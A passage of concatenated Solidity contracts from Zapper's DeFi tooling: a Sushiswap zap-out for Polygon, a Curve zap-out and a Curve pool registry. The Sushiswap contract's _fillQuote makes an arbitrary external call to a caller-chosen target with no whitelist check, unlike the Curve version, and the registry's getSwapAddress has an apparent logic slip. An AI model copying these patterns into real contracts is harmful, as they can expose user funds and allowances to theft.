_subtractGoodwill(fromToken, fromTokenAmounts[0], affiliate)
);
toInvest[1] = fromTokenAmounts[1].sub(
_subtractGoodwill(fromToken, fromTokenAmounts[1], affiliate)
);
}
function _subtractGoodwill(
address token,
uint256 amount,
address affiliate
) internal returns (uint256 totalGoodwillPortion) {
bool whitelisted = feeWhitelist[msg.sender];
if (!whitelisted && goodwill > 0) {
totalGoodwillPortion = SafeMath.div(
SafeMath.mul(amount, goodwill),
10000
);
if (affiliates[affiliate]) {
if (token == address(0)) {
token = ETHAddress;
}
uint256 affiliatePortion =
totalGoodwillPortion.mul(affiliateSplit).div(100);
affiliateBalance[affiliate][token] = affiliateBalance[
affiliate
][token]
.add(affiliatePortion);
totalAffiliateBalance[token] = totalAffiliateBalance[token].add(
affiliatePortion
);
}
}
}
}
pragma solidity ^0.5.7;
import "./ZapBaseV1.sol";
contract ZapOutBaseV2_1 is ZapBaseV1 {
/**
@dev Transfer tokens from msg.sender to this contract
@param token The ERC20 token to transfer to this contract
@param shouldSellEntireBalance If True transfers entrire allowable amount from another contract
@return Quantity of tokens transferred to this contract
*/
function _pullTokens(
address token,
uint256 amount,
bool shouldSellEntireBalance
) internal returns (uint256) {
if (shouldSellEntireBalance) {
require(
Address.isContract(msg.sender),
"ERR: shouldSellEntireBalance is true for EOA"
);
IERC20 _token = IERC20(token);
uint256 allowance = _token.allowance(msg.sender, address(this));
_token.safeTransferFrom(msg.sender, address(this), allowance);
return allowance;
} else {
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
return amount;
}
}
function _subtractGoodwill(
address token,
uint256 amount,
address affiliate,
bool enableGoodwill
) internal returns (uint256 totalGoodwillPortion) {
bool whitelisted = feeWhitelist[msg.sender];
if (enableGoodwill && !whitelisted && goodwill > 0) {
totalGoodwillPortion = SafeMath.div(
SafeMath.mul(amount, goodwill),
10000
);
if (affiliates[affiliate]) {
if (token == address(0)) {
token = ETHAddress;
}
uint256 affiliatePortion =
totalGoodwillPortion.mul(affiliateSplit).div(100);
affiliateBalance[affiliate][token] = affiliateBalance[
affiliate
][token]
.add(affiliatePortion);
totalAffiliateBalance[token] = totalAffiliateBalance[token].add(
affiliatePortion
);
}
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// Visit <https://www.gnu.org/licenses/>for a copy of the GNU Affero General Public License
///@author Zapper
///@notice this contract implements one click removal of liquidity from Sushiswap pools, receiving ETH, ERC tokens or both.
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.5.7;
pragma experimental ABIEncoderV2;
import "../../_base/ZapOutBaseV2.sol";
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
}
interface IUniswapV2Pair {
function token0() external pure returns (address);
function token1() external pure returns (address);
function totalSupply() external view returns (uint256);
function getReserves()
external
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
interface IWETH {
function withdraw(uint256 wad) external;
}
contract Sushiswap_ZapOut_Polygon_V1 is ZapOutBaseV2_1 {
uint256 private constant deadline =
0xf000000000000000000000000000000000000000000000000000000000000000;
// sushiSwap
IUniswapV2Router02 private constant sushiSwapRouter =
IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
address private constant wmaticTokenAddress =
address(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270);
constructor(uint256 _goodwill, uint256 _affiliateSplit)
public
ZapBaseV1(_goodwill, _affiliateSplit)
{}
event zapOut(
address sender,
address pool,
address token,
uint256 tokensRec
);
/**
@notice Zap out in both tokens with permit
@param fromSushiPool Pool from which to remove liquidity
@param incomingLP Quantity of LP to remove from pool
@param affiliate Affiliate address to share fees
@return amountA, amountB - Quantity of tokens received
*/
function ZapOut2PairToken(
address fromSushiPool,
uint256 incomingLP,
address affiliate,
bool shouldSellEntireBalance
) public stopInEmergency returns (uint256 amountA, uint256 amountB) {
IUniswapV2Pair pair = IUniswapV2Pair(fromSushiPool);
require(
address(pair) != address(0),
"Error: Invalid Sushipool Address"
);
//get reserves
address token0 = pair.token0();
address token1 = pair.token1();
incomingLP = _pullTokens(
fromSushiPool,
incomingLP,
shouldSellEntireBalance
);
_approveToken(fromSushiPool, address(sushiSwapRouter), incomingLP);
if (token0 == wmaticTokenAddress || token1 == wmaticTokenAddress) {
address _token = token0 == wmaticTokenAddress ? token1 : token0;
(amountA, amountB) = sushiSwapRouter.removeLiquidityETH(
_token,
incomingLP,
1,
1,
address(this),
deadline
);
// subtract goodwill
uint256 tokenGoodwill =
_subtractGoodwill(_token, amountA, affiliate, true);
uint256 ethGoodwill =
_subtractGoodwill(ETHAddress, amountB, affiliate, true);
// send tokens
IERC20(_token).safeTransfer(msg.sender, amountA.sub(tokenGoodwill));
Address.sendValue(msg.sender, amountB.sub(ethGoodwill));
} else {
(amountA, amountB) = sushiSwapRouter.removeLiquidity(
token0,
token1,
incomingLP,
1,
1,
address(this),
deadline
);
// subtract goodwill
uint256 tokenAGoodwill =
_subtractGoodwill(token0, amountA, affiliate, true);
uint256 tokenBGoodwill =
_subtractGoodwill(token1, amountB, affiliate, true);
// send tokens
IERC20(token0).safeTransfer(
msg.sender,
amountA.sub(tokenAGoodwill)
);
IERC20(token1).safeTransfer(
msg.sender,
amountB.sub(tokenBGoodwill)
);
}
emit zapOut(msg.sender, fromSushiPool, token0, amountA);
emit zapOut(msg.sender, fromSushiPool, token1, amountB);
}
/**
@notice Zap out in a single token
@param toToken Address of desired token
@param fromSushiPool Pool from which to remove liquidity
@param incomingLP Quantity of LP to remove from pool
@param minTokensRec Minimum quantity of tokens to receive
@param swapTargets Execution targets for swaps
@param allowanceTargets Targets to approve for swaps
@param swapData DEX swap data
@param affiliate Affiliate address
@param shouldSellEntireBalance True if amountIn is determined at execution time (i.e. contract is caller)
*/
function ZapOut(
address toToken,
address fromSushiPool,
uint256 incomingLP,
uint256 minTokensRec,
address[] memory swapTargets,
address[] memory allowanceTargets,
bytes[] memory swapData,
address affiliate,
bool shouldSellEntireBalance
) public stopInEmergency returns (uint256 tokenBought) {
incomingLP = _pullTokens(
fromSushiPool,
incomingLP,
shouldSellEntireBalance
);
(uint256 amountA, uint256 amountB) =
_removeLiquidity(fromSushiPool, incomingLP);
tokenBought = _swapTokens(
fromSushiPool,
amountA,
amountB,
toToken,
swapTargets,
allowanceTargets,
swapData
);
require(tokenBought >= minTokensRec, "High slippage");
uint256 tokensRec = _transfer(toToken, tokenBought, affiliate);
emit zapOut(msg.sender, fromSushiPool, toToken, tokensRec);
return tokensRec;
}
function _transfer(
address token,
uint256 amount,
address affiliate
) internal returns (uint256 tokensTransferred) {
uint256 totalGoodwillPortion;
if (token == address(0)) {
totalGoodwillPortion = _subtractGoodwill(
ETHAddress,
amount,
affiliate,
true
);
msg.sender.transfer(amount.sub(totalGoodwillPortion));
} else {
totalGoodwillPortion = _subtractGoodwill(
token,
amount,
affiliate,
true
);
IERC20(token).safeTransfer(
msg.sender,
amount.sub(totalGoodwillPortion)
);
}
tokensTransferred = amount.sub(totalGoodwillPortion);
}
function _removeLiquidity(address fromSushiPool, uint256 incomingLP)
internal
returns (uint256 amountA, uint256 amountB)
{
IUniswapV2Pair pair = IUniswapV2Pair(fromSushiPool);
require(
address(pair) != address(0),
"Error: Invalid Sushipool Address"
);
address token0 = pair.token0();
address token1 = pair.token1();
_approveToken(fromSushiPool, address(sushiSwapRouter), incomingLP);
(amountA, amountB) = sushiSwapRouter.removeLiquidity(
token0,
token1,
incomingLP,
1,
1,
address(this),
deadline
);
require(amountA > 0 && amountB > 0, "Removed insufficient liquidity");
}
function _swapTokens(
address fromSushiPool,
uint256 amountA,
uint256 amountB,
address toToken,
address[] memory swapTargets,
address[] memory allowanceTargets,
bytes[] memory swapData
) internal returns (uint256 tokensBought) {
IUniswapV2Pair pair = IUniswapV2Pair(fromSushiPool);
address token0 = pair.token0();
address token1 = pair.token1();
//swap token0 to toToken
if (token0 == toToken) {
tokensBought = tokensBought.add(amountA);
} else {
tokensBought = tokensBought.add(
_fillQuote(
token0,
toToken,
amountA,
swapTargets[0],
allowanceTargets[0],
swapData[0]
)
);
}
//swap token1 to toToken
if (token1 == toToken) {
tokensBought = tokensBought.add(amountB);
} else {
//swap token using 0x swap
tokensBought = tokensBought.add(
_fillQuote(
token1,
toToken,
amountB,
swapTargets[1],
allowanceTargets[1],
swapData[1]
)
);
}
}
function _fillQuote(
address fromTokenAddress,
address toToken,
uint256 amount,
address swapTarget,
address allowanceTarget,
bytes memory swapData
) internal returns (uint256) {
uint256 valueToSend;
if (fromTokenAddress == wmaticTokenAddress && toToken == address(0)) {
IWETH(wmaticTokenAddress).withdraw(amount);
return amount;
}
if (fromTokenAddress == address(0)) {
valueToSend = amount;
} else {
_approveToken(fromTokenAddress, allowanceTarget, amount);
}
uint256 initialBalance = _getBalance(toToken);
(bool success, ) = swapTarget.call.value(valueToSend)(swapData);
require(success, "Error Swapping Tokens");
uint256 finalBalance = _getBalance(toToken).sub(initialBalance);
require(finalBalance > 0, "Swapped to Invalid Intermediate");
return finalBalance;
}
/**
@notice Utility function to determine quantity and addresses of tokens being removed
@param fromSushiPool Pool from which to remove liquidity
@param liquidity Quantity of LP tokens to remove.
@return amountA- amountB- Quantity of token0 and token1 removed
@return token0- token1- Addresses of the underlying tokens to be removed
*/
function removeLiquidityReturn(address fromSushiPool, uint256 liquidity)
external
view
returns (
uint256 amountA,
uint256 amountB,
address token0,
address token1
)
{
IUniswapV2Pair pair = IUniswapV2Pair(fromSushiPool);
token0 = pair.token0();
token1 = pair.token1();
uint256 balance0 = IERC20(token0).balanceOf(fromSushiPool);
uint256 balance1 = IERC20(token1).balanceOf(fromSushiPool);
uint256 _totalSupply = pair.totalSupply();
amountA = liquidity.mul(balance0) / _totalSupply;
amountB = liquidity.mul(balance1) / _totalSupply;
}
function() external payable {
require(msg.sender != tx.origin, "Do not send ETH directly");
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract removes liquidity from Curve pools
pragma solidity ^0.5.7;
import "../_base/ZapOutBaseV2.sol";
import "./Curve_Registry_V2.sol";
interface ICurveSwap {
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_amount
) external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_amount,
bool removeUnderlying
) external;
function calc_withdraw_one_coin(uint256 tokenAmount, int128 index)
external
view
returns (uint256);
}
interface IWETH {
function withdraw(uint256 wad) external;
}
contract Curve_ZapOut_General_V4_1 is ZapOutBaseV2_1 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address private constant wethTokenAddress =
address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
Curve_Registry_V2 public curveReg;
mapping(address => bool) public approvedTargets;
constructor(
Curve_Registry_V2 _curveRegistry,
uint256 _goodwill,
uint256 _affiliateSplit
) public ZapBaseV1(_goodwill, _affiliateSplit) {
approvedTargets[0xDef1C0ded9bec7F1a1670819833240f027b25EfF] = true;
curveReg = _curveRegistry;
}
event zapOut(
address sender,
address pool,
address token,
uint256 tokensRec
);
/**
@notice This method removes the liquidity from curve pools to ETH/ERC tokens
@param swapAddress indicates Curve swap address for the pool
@param incomingCrv indicates the amount of lp tokens to remove
@param intermediateToken specifies in which token to exit the curve pool
@param toToken indicates the ETH/ERC token to which tokens to convert
@param minToTokens indicates the minimum amount of toTokens to receive
@param _swapTarget Excecution target for the first swap
@param _swapCallData DEX quote data
@param affiliate Affiliate address to share fees
@param shouldSellEntireBalance True if incomingCrv is determined at execution time (i.e. contract is caller)
@return ToTokensBought- indicates the amount of toTokens received
*/
function ZapOut(
address swapAddress,
uint256 incomingCrv,
address intermediateToken,
address toToken,
uint256 minToTokens,
address _swapTarget,
bytes calldata _swapCallData,
address affiliate,
bool shouldSellEntireBalance
) external stopInEmergency returns (uint256 ToTokensBought) {
address poolTokenAddress = curveReg.getTokenAddress(swapAddress);
// get lp tokens
incomingCrv = _pullTokens(
poolTokenAddress,
incomingCrv,
shouldSellEntireBalance
);
if (intermediateToken == address(0)) {
intermediateToken = ETHAddress;
}
// perform zapOut
ToTokensBought = _zapOut(
swapAddress,
incomingCrv,
intermediateToken,
toToken,
_swapTarget,
_swapCallData
);
require(ToTokensBought >= minToTokens, "High Slippage");
uint256 totalGoodwillPortion;
// Transfer tokens
if (toToken == address(0)) {
totalGoodwillPortion = _subtractGoodwill(
ETHAddress,
ToTokensBought,
affiliate,
true
);
Address.sendValue(
msg.sender,
ToTokensBought.sub(totalGoodwillPortion)
);
} else {
totalGoodwillPortion = _subtractGoodwill(
toToken,
ToTokensBought,
affiliate,
true
);
IERC20(toToken).safeTransfer(
msg.sender,
ToTokensBought.sub(totalGoodwillPortion)
);
}
emit zapOut(msg.sender, swapAddress, toToken, ToTokensBought);
return ToTokensBought.sub(totalGoodwillPortion);
}
function _zapOut(
address swapAddress,
uint256 incomingCrv,
address intermediateToken,
address toToken,
address _swapTarget,
bytes memory _swapCallData
) internal returns (uint256 ToTokensBought) {
(bool isUnderlying, uint256 underlyingIndex) =
curveReg.isUnderlyingToken(swapAddress, intermediateToken);
// not metapool
if (isUnderlying) {
uint256 intermediateBought =
_exitCurve(
swapAddress,
incomingCrv,
underlyingIndex,
intermediateToken
);
if (intermediateToken == ETHAddress) intermediateToken = address(0);
ToTokensBought = _fillQuote(
intermediateToken,
toToken,
intermediateBought,
_swapTarget,
_swapCallData
);
} else {
// from metapool
address[4] memory poolTokens = curveReg.getPoolTokens(swapAddress);
address intermediateSwapAddress;
uint8 i;
for (; i < 4; i++) {
if (curveReg.getSwapAddress(poolTokens[i]) != address(0)) {
intermediateSwapAddress = curveReg.getSwapAddress(
poolTokens[i]
);
break;
}
}
// _exitCurve to intermediateSwapAddress Token
uint256 intermediateCrvBought =
_exitMetaCurve(swapAddress, incomingCrv, i, poolTokens[i]);
// _performZapOut: fromPool = intermediateSwapAddress
ToTokensBought = _zapOut(
intermediateSwapAddress,
intermediateCrvBought,
intermediateToken,
toToken,
_swapTarget,
_swapCallData
);
}
}
/**
@notice This method removes the liquidity from meta curve pools
@param swapAddress indicates the curve pool address from which liquidity to be removed.
@param incomingCrv indicates the amount of liquidity to be removed from the pool
@param index indicates the index of underlying token of the pool in which liquidity will be removed.
@return tokensReceived- indicates the amount of reserve tokens received
*/
function _exitMetaCurve(
address swapAddress,
uint256 incomingCrv,
uint256 index,
address exitTokenAddress
) internal returns (uint256 tokensReceived) {
require(incomingCrv > 0, "Insufficient lp tokens");
address tokenAddress = curveReg.getTokenAddress(swapAddress);
_approveToken(tokenAddress, swapAddress);
uint256 iniTokenBal = IERC20(exitTokenAddress).balanceOf(address(this));
ICurveSwap(swapAddress).remove_liquidity_one_coin(
incomingCrv,
int128(index),
0
);
tokensReceived = (IERC20(exitTokenAddress).balanceOf(address(this)))
.sub(iniTokenBal);
require(tokensReceived > 0, "Could not receive reserve tokens");
}
/**
@notice This method removes the liquidity from given curve pool
@param swapAddress indicates the curve pool address from which liquidity to be removed.
@param incomingCrv indicates the amount of liquidity to be removed from the pool
@param index indicates the index of underlying token of the pool in which liquidity will be removed.
@return tokensReceived- indicates the amount of reserve tokens received
*/
function _exitCurve(
address swapAddress,
uint256 incomingCrv,
uint256 index,
address exitTokenAddress
) internal returns (uint256 tokensReceived) {
require(incomingCrv > 0, "Insufficient lp tokens");
address depositAddress = curveReg.getDepositAddress(swapAddress);
address tokenAddress = curveReg.getTokenAddress(swapAddress);
_approveToken(tokenAddress, depositAddress);
address balanceToken =
exitTokenAddress == ETHAddress ? address(0) : exitTokenAddress;
uint256 iniTokenBal = _getBalance(balanceToken);
if (curveReg.shouldAddUnderlying(swapAddress)) {
// aave
ICurveSwap(depositAddress).remove_liquidity_one_coin(
incomingCrv,
int128(index),
0,
true
);
} else {
ICurveSwap(depositAddress).remove_liquidity_one_coin(
incomingCrv,
int128(index),
0
);
}
tokensReceived = _getBalance(balanceToken).sub(iniTokenBal);
require(tokensReceived > 0, "Could not receive reserve tokens");
}
/**
@notice This method swaps the fromToken to toToken using the 0x swap
@param _fromTokenAddress indicates the ETH/ERC20 token
@param _toTokenAddress indicates the ETH/ERC20 token
@param _amount indicates the amount of from tokens to swap
@param _swapTarget Excecution target for the first swap
@param _swapCallData DEX quote data
*/
function _fillQuote(
address _fromTokenAddress,
address _toTokenAddress,
uint256 _amount,
address _swapTarget,
bytes memory _swapCallData
) internal returns (uint256 amountBought) {
if (_fromTokenAddress == _toTokenAddress) return _amount;
if (_swapTarget == wethTokenAddress) {
IWETH(wethTokenAddress).withdraw(_amount);
return _amount;
}
uint256 valueToSend;
if (_fromTokenAddress == ETHAddress || _fromTokenAddress == address(0))
valueToSend = _amount;
else _approveToken(_fromTokenAddress, _swapTarget);
uint256 iniBal = _getBalance(_toTokenAddress);
require(approvedTargets[_swapTarget], "Target not Authorized");
(bool success, ) = _swapTarget.call.value(valueToSend)(_swapCallData);
require(success, "Error Swapping Tokens");
uint256 finalBal = _getBalance(_toTokenAddress);
amountBought = finalBal.sub(iniBal);
require(amountBought > 0, "Swapped To Invalid Intermediate");
}
/**
@notice Utility function to determine the quantity and address of a token being removed
@param swapAddress indicates the curve pool address from which liquidity to be removed
@param tokenAddress token to be removed
@param liquidity Quantity of LP tokens to remove.
@return amount Quantity of token removed
*/
function removeLiquidityReturn(
address swapAddress,
address tokenAddress,
uint256 liquidity
) external view returns (uint256 amount) {
if (tokenAddress == address(0)) tokenAddress = ETHAddress;
(bool underlying, uint256 index) =
curveReg.isUnderlyingToken(swapAddress, tokenAddress);
if (underlying) {
return
ICurveSwap(curveReg.getDepositAddress(swapAddress))
.calc_withdraw_one_coin(liquidity, int128(index));
} else {
address[4] memory poolTokens = curveReg.getPoolTokens(swapAddress);
address intermediateSwapAddress;
for (uint256 i = 0; i < 4; i++) {
intermediateSwapAddress = curveReg.getSwapAddress(
poolTokens[i]
);
if (intermediateSwapAddress != address(0)) break;
}
uint256 metaTokensRec =
ICurveSwap(swapAddress).calc_withdraw_one_coin(liquidity, 1);
(, index) = curveReg.isUnderlyingToken(
intermediateSwapAddress,
tokenAddress
);
return
ICurveSwap(intermediateSwapAddress).calc_withdraw_one_coin(
metaTokensRec,
int128(index)
);
}
}
function updateCurveRegistry(Curve_Registry_V2 newCurveRegistry)
external
onlyOwner
{
require(newCurveRegistry != curveReg, "Already using this Registry");
curveReg = newCurveRegistry;
}
function setApprovedTargets(
address[] calldata targets,
bool[] calldata isApproved
) external onlyOwner {
require(targets.length == isApproved.length, "Invalid Input length");
for (uint256 i = 0; i < targets.length; i++) {
approvedTargets[targets[i]] = isApproved[i];
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2020 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice Registry for Curve Pools with Utility functions.
pragma solidity ^0.5.7;
import "../oz/ownership/Ownable.sol";
import "../oz/token/ERC20/SafeERC20.sol";
interface ICurveAddressProvider {
function get_registry() external view returns (address);
function get_address(uint256 _id) external view returns (address);
}
interface ICurveRegistry {
function get_pool_from_lp_token(address lpToken)
external
view
returns (address);
function get_lp_token(address swapAddress) external view returns (address);
function get_n_coins(address _pool)
external
view
returns (uint256[2] memory);
function get_coins(address _pool) external view returns (address[8] memory);
function get_underlying_coins(address _pool)
external
view
returns (address[8] memory);
}
interface ICurveFactoryRegistry {
function get_n_coins(address _pool)
external
view
returns (uint256, uint256);
function get_coins(address _pool) external view returns (address[2] memory);
function get_underlying_coins(address _pool)
external
view
returns (address[8] memory);
}
contract Curve_Registry_V2 is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
ICurveAddressProvider private constant CurveAddressProvider =
ICurveAddressProvider(0x0000000022D53366457F9d5E68Ec105046FC4383);
ICurveRegistry public CurveRegistry;
ICurveFactoryRegistry public FactoryRegistry;
address private constant wbtcToken =
0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
address private constant sbtcCrvToken =
0x075b1bb99792c9E1041bA13afEf80C91a1e70fB3;
address internal constant ETHAddress =
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
mapping(address => bool) public shouldAddUnderlying;
mapping(address => address) private depositAddresses;
constructor() public {
CurveRegistry = ICurveRegistry(CurveAddressProvider.get_registry());
FactoryRegistry = ICurveFactoryRegistry(
CurveAddressProvider.get_address(3)
);
}
function isCurvePool(address swapAddress) public view returns (bool) {
if (CurveRegistry.get_lp_token(swapAddress) != address(0)) {
return true;
}
return false;
}
function isFactoryPool(address swapAddress) public view returns (bool) {
if (FactoryRegistry.get_coins(swapAddress)[0] != address(0)) {
return true;
}
return false;
}
/**
@notice This function is used to get the curve pool deposit address
@notice The deposit address is used for pools with wrapped (c, y) tokens
@param swapAddress Curve swap address for the pool
@return curve pool deposit address or the swap address not mapped
*/
function getDepositAddress(address swapAddress)
external
view
returns (address depositAddress)
{
depositAddress = depositAddresses[swapAddress];
if (depositAddress == address(0)) return swapAddress;
}
/**
@notice This function is used to get the curve pool swap address
@notice The token and swap address is the same for metapool factory pools
@param swapAddress Curve swap address for the pool
@return curve pool swap address or address(0) if pool doesnt exist
*/
function getSwapAddress(address tokenAddress)
external
view
returns (address swapAddress)
{
swapAddress = CurveRegistry.get_pool_from_lp_token(tokenAddress);
if (swapAddress != address(0)) {
return swapAddress;
}
if (isFactoryPool(swapAddress)) {
return tokenAddress;
}
return address(0);
}
/**
@notice This function is used to check the curve pool token address
@notice The token and swap address is the same for metapool factory pools
@param swapAddress Curve swap address for the pool
@return curve pool token address or address(0) if pool doesnt exist
*/
function getTokenAddress(address swapAddress)
external
view
returns (address tokenAddress)
{
tokenAddress = CurveRegistry.get_lp_token(swapAddress);
if (tokenAddress != address(0)) {
return tokenAddress;
}
if (isFactoryPool(swapAddress)) {
return swapAddress;
}
return address(0);
}
/**
@notice Checks the number of non-underlying tokens in a pool
@param swapAddress Curve swap address for the pool
@return number of underlying tokens in the pool
*/
function getNumTokens(address swapAddress) public view returns (uint256) {
if (isCurvePool(swapAddress)) {
return CurveRegistry.get_n_coins(swapAddress)[0];
} else {
(uint256 numTokens, ) = FactoryRegistry.get_n_coins(swapAddress);
return numTokens;
}
}
/**
@notice This function is used to check if the curve pool is a metapool
@notice all factory pools are metapools
@param swapAddress Curve swap address for the pool
@return true if the pool is a metapool, false otherwise
*/
function isMetaPool(address swapAddress) public view returns (bool) {
if (isCurvePool(swapAddress)) {
uint256[2] memory poolTokenCounts =
CurveRegistry.get_n_coins(swapAddress);
if (poolTokenCounts[0] == poolTokenCounts[1]) return false;
else return true;
}
if (isFactoryPool(swapAddress)) return true;
}
/**
@notice This function returns an array of underlying pool token addresses
@param swapAddress Curve swap address for the pool
@return returns 4 element array containing the addresses of the pool tokens (0 address if pool contains < 4 tokens)
*/
function getPoolTokens(address swapAddress)
public
view
returns (address[4] memory poolTokens)
{
if (isMetaPool(swapAddress)) {
if (isFactoryPool(swapAddress)) {
address[2] memory poolUnderlyingCoins =
FactoryRegistry.get_coins(swapAddress);
for (uint256 i = 0; i < 2; i++) {
poolTokens[i] = poolUnderlyingCoins[i];
}
} else {
address[8] memory poolUnderlyingCoins =
CurveRegistry.get_coins(swapAddress);
for (uint256 i = 0; i < 2; i++) {
poolTokens[i] = poolUnderlyingCoins[i];
}
}
return poolTokens;
} else {
address[8] memory poolUnderlyingCoins;
if (isBtcPool(swapAddress) && !isMetaPool(swapAddress)) {
poolUnderlyingCoins = CurveRegistry.get_coins(swapAddress);
} else {
poolUnderlyingCoins = CurveRegistry.get_underlying_coins(
swapAddress
);
}
for (uint256 i = 0; i < 4; i++) {
poolTokens[i] = poolUnderlyingCoins[i];
}
}
}
/**
@notice This function checks if the curve pool contains WBTC
@param swapAddress Curve swap address for the pool
@return true if the pool contains WBTC, false otherwise
*/
function isBtcPool(address swapAddress) public view returns (bool) {
address[8] memory poolTokens = CurveRegistry.get_coins(swapAddress);
for (uint256 i = 0; i < 4; i++) {
if (poolTokens[i] == wbtcToken || poolTokens[i] == sbtcCrvToken)
return true;
}
return false;
}
/**
@notice This function checks if the curve pool contains ETH
@param swapAddress Curve swap address for the pool
@return true if the pool contains ETH, false otherwise
*/
function isEthPool(address swapAddress) external view returns (bool) {
address[8] memory poolTokens = CurveRegistry.get_coins(swapAddress);
for (uint256 i = 0; i < 4; i++) {
if (poolTokens[i] == ETHAddress) {
return true;
}
}
return false;
}
/**
@notice This function is used to check if the pool contains the token
@param swapAddress Curve swap address for the pool
@param tokenContractAddress contract address of the token
@return true if the pool contains the token, false otherwise
@return index of the token in the pool, 0 if pool does not contain the token
*/
function isUnderlyingToken(
address swapAddress,
address tokenContractAddress
) external view returns (bool, uint256) {
address[4] memory poolTokens = getPoolTokens(swapAddress);
for (uint256 i = 0; i < 4; i++) {
if (poolTokens[i] == address(0)) return (false, 0);
if (poolTokens[i] == tokenContractAddress) return (true, i);
}
}
/**
@notice Updates to the latest curve registry from the address provider
*/
function update_curve_registry() external onlyOwner {
address new_address = CurveAddressProvider.get_registry();
require(address(CurveRegistry) != new_address, "Already updated");
CurveRegistry = ICurveRegistry(new_address);
}
/**
@notice Updates to the latest curve registry from the address provider
*/
function update_factory_registry() external onlyOwner {
address new_address = CurveAddressProvider.get_address(3);
require(address(FactoryRegistry) != new_address, "Already updated");
FactoryRegistry = ICurveFactoryRegistry(new_address);
}
/**
@notice Add new pools which use the _use_underlying bool
@param swapAddresses Curve swap addresses for the pool
@param addUnderlying True if underlying tokens are always added
*/
function updateShouldAddUnderlying(
address[] calldata swapAddresses,
bool[] calldata addUnderlying
) external onlyOwner {
require(
swapAddresses.length == addUnderlying.length,
"Mismatched arrays"
);
for (uint256 i = 0; i < swapAddresses.length; i++) {
shouldAddUnderlying[swapAddresses[i]] = addUnderlying[i];
}
}
/**
@notice Add new pools which use uamounts for add_liquidity
@param swapAddresses Curve swap addresses to map from
@param _depositAddresses Curve deposit addresses to map to
*/
function updateDepositAddresses(
address[] calldata swapAddresses,
address[] calldata _depositAddresses
) external onlyOwner {
require(
swapAddresses.length == _depositAddresses.length,
"Mismatched arrays"
);
for (uint256 i = 0; i < swapAddresses.length; i++) {
depositAddresses[swapAddresses[i]] = _depositAddresses[i];
}
}
/**
//@notice Add new pools which use the _use_underlying bool
*/
function withdrawTokens(address[] calldata tokens) external onlyOwner {
